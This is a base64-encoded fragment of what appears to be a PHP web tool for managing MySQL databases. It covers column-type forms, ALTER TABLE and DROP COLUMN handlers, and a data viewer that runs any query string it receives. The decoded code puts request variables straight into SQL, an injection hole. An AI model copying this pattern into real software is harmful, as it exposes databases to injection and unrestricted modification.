bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0 ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1 dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRl IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwg WVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8 L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQg dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRh dGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDow MDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRk PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4K PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl IHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNo ZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZ WVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlm KCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1 OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5 cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAw MDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0 eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiAp IGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNl bnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZh bHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7 ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3Rk Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8 L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhU IiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5Z VEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4 dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJz cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1 ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNr ZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05H VEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+ TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwv dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0 cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlm KCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgw IH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+ Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBl PXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVj aG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4K PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJ VU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNo byAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3Ry Pgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAn OyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxP QiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRk PiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4gCjx0cj4KPHRk PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09 ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC90ZD4KPHRkIGNvbHNwYW49NT48 Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNo byAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+Cjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBs aXN0PC9jZW50ZXI+PC90ZD4KPC90cj4KCjwvdGFibGU+Cjx0YWJsZT4KPHRyPjx0aD5NPC90aD48 dGg+RDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3Ro Pjx0aD52YWx1ZSBsaXN0IChleDogXCdhcHBsZVwnLCBcJ29yYW5nZVwnLCBcJ2JhbmFuYVwnKSA8 L3RoPjwvdHI+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBu YW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPgo8dGQg YWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9RCAnOyBpZiggJEQgIT0g IiIgKSBlY2hvICJ2YWx1ZT0kRCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0 IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJw b3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFs dWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBl Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j aGVja2JveCBuYW1lPWJpbmFyeSB2YWx1ZT0iQklOQVJZIiAnOyBpZiggc3RycG9zKCAkZmllbGR0 eXBlLCAiYmluYXJ5IiApICApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249 Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZh bHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4K PC90cj4KPC90YWJsZT4KCgo8aDM+RmxhZ3M8L2gzPgo8dGFibGU+Cjx0cj48dGg+bm90IG51bGw8 L3RoPjx0aD5kZWZhdWx0IHZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5wcmlt YXJ5IGtleTwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNr Ym94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAi WUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1 dCB0eXBlPXRleHQgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZhdWx0ICE9ICIi ICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50 ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19J TkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAi Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2ti b3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkg PT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPC90cj4KPC90YWJsZT4KCjxw Pic7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1 ZT0nQWRkIEZpZWxkJz5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlu cHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7CgllY2hvICI8aW5wdXQgdHlw ZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7CgllY2hv ICI8L2Zvcm0+XG4iOwp9CgpmdW5jdGlvbiBtYW5hZ2VGaWVsZF9zdWJtaXQoICRjbWQgKSB7Cgln bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1l LCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csCgkJJE0sICRELCAkdW5zaWdu ZWQsICR6ZXJvZmlsbCwgJGJpbmFyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7CgoJaWYoICRjbWQgPT0gImFkZCIg KQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOwoJZWxz ZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVu YW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsKCQoJaWYoICRNICE9ICIiICkKCQlpZiggJEQg IT0gIiIgKQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOwoJCWVsc2UKCQkJJHF1ZXJ5 U3RyIC49ICIkdHlwZSgkTSkgIjsKCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7CgkJJHZh bHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOwoJCSRxdWVyeVN0ciAuPSAiJHR5 cGUoJHZhbHVlbGlzdCkgIjsKCX0gZWxzZQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsKCgkkcXVl cnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOwoKCWlmKCAkZGVmYXVsdF92 YWx1ZSAhPSAiIiApCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsK CQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxl Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwg JG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdl Cgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMg RlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxf ZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZ IiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2Ug PSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJ fQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIs ICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0 ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxU RVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEg KTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4g bXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZ IEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8 YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJ dmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFu ZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0 ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENP TFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxl ICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g bXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVl cnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVu YW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJ ZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkK CQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7 CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5 U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7 CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5 ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxh IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9 JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM Rj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+ U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAk cXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFi bGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xP QkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJ CWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJ CSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoK CWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNv bCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQll Y2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoJCglpZiggJHJvd3BlcnBhZ2UgPT0g IiIgKSAkcm93cGVycGFnZSA9IDMwOwoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOwoJZWxz ZSAkcGFnZS0tOwoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFn ZSApOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOwoJZWNo byAiPHRyPlxuIjsKCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7CgkJJGZpZWxkID0g bXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCWVjaG8gIjx0aD4iOwoJCWlmKCRh Y3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12 aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZp ZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOwoJCWVsc2UKCQkJZWNobyAiPGZv bnQJc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOngt c21hbGw7Jz4iLiRmaWVsZC0+bmFtZS4iPC9mb250PlxuIjsKCQllY2hvICI8L3RoPlxuIjsKCX0K CWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCglm b3IoICRpID0gMDsgJGkgPCAkcm93cGVycGFnZTsgJGkrKyApIHsKCQkkcm93QXJyYXkgPSBteXNx bF9mZXRjaF9yb3coICRwUmVzdWx0ICk7CgkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFr OwoJCWVjaG8gIjx0cj5cbiI7CgkJJGtleSA9ICIiOwoJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7 ICRqKysgKSB7CgkJCSRkYXRhID0gJHJvd0FycmF5WyRqXTsKCgkJCSRmaWVsZCA9IG15c3FsX2Zl dGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGogKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0g MSApCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOwoKCQkJaWYo IHN0cmxlbiggJGRhdGEgKSA+IDMwICkKCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAg KSAuICIuLi4iOwoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7CgkJCWVjaG8g Ijx0ZD5cbiI7CgkJCWVjaG8gIiRkYXRhXG4iOwoJCQllY2hvICI8L3RkPlxuIjsKCQl9CgkJIAoJ CWlmKCAka2V5ID09ICIiICkKCQkJZWNobyAiPHRkIGNvbHNwYW49Mj5ubyBLZXk8L3RkPlxuIjsK CQllbHNlIHsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdERhdGEk a2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5FZGl0PC9hPjwvdGQ+XG4i OwoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kZWxldGVEYXRhJGtleSZk Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25m aXJtKCdEZWxldGUgUm93PycpXCI+RGVsZXRlPC9hPjwvdGQ+XG4iOwoJCX0KCQllY2hvICI8L3Ry PlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4iOwoKCWVjaG8gIjxmb250IHNpemU9Mj5cbiI7Cglp ZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/ YWN0aW9uPXZpZXdEYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRo b2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9u PXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVy eVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoJZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+XG4iOwoJZWNo byAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsKCWVjaG8g IjwvZm9udD5cbiI7CgllY2hvICIgfCAiOwoJaWYoICRwYWdlID4gMCApIHsKCQlpZigkYWN0aW9u ID09ICJ2aWV3RGF0YSIpCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0Rh dGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAidmlld0RhdGEiKQoJCQllY2hv ICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5QcmV2PC9hPlxuIjsKCX0gZWxzZQoJCWVj aG8gIlByZXYiOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0x ICkgewoJCWlmKCRhY3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9T RUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZw YWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv bj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVl cnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9 PSAidmlld0RhdGEiKQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5OZXh0 PC9hPlxuIjsKCX0gZWxzZQoJCWVjaG8gIk5leHQiOwoJZWNobyAiIHwgIjsKCWlmKCAkcm93ID4g 